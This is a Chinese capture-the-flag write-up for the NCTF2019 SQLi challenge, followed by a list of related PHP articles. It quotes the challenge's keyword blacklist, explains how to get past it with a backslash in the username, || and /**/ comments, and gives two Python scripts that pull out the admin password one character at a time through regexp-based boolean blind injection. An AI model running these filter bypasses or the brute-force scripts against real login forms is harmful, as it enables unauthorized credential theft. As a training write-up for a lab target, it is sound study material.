[NCTF2019]SQLi regexp 盲注

/robots.txt

访问一下

复制代码
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

复制代码
select (select 'b') > (select 'abc')  这个时候会返回0


select name regexp "^a"     这里的name是admin   //我自己的数据库

返回的是1

所以我们可以通过 布尔注入实现这道题的读取

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        print(paylaod1)
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这里很坑 上面的 字符*的时候会循环输出

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这个就可以爆出值了

复制代码
you_will_never_know7788990
相关推荐
Bruce12312 小时前
web专题之php代审(二)
php
BingoGo13 小时前
PHP-FPM 深度调优指南 告别 502 错误,让你的 PHP 应用飞起来
后端·php
亿坊电商1 天前
物联网领域中PHP框架的最佳选择有哪些?
物联网·struts·php
wuzuyu3651 天前
用php做一个简易的路由
php·路由
老六ip加速器1 天前
手机ip隔离方法
tcp/ip·智能手机·php
rockmelodies2 天前
【PHP7内核剖析】-1.3 FPM
php
真正的醒悟2 天前
上网管理行为-ISP路由部署
服务器·php·接口隔离原则
张晓~183399481212 天前
短视频矩阵源码-视频剪辑+AI智能体开发接入技术分享
c语言·c++·人工智能·矩阵·c#·php·音视频
2zcode2 天前
基于Matlab可见光通信系统中OOK调制的误码率性能建模与分析
算法·matlab·php
rockmelodies2 天前
【PHP7内核剖析】-1.1 PHP概述
开发语言·php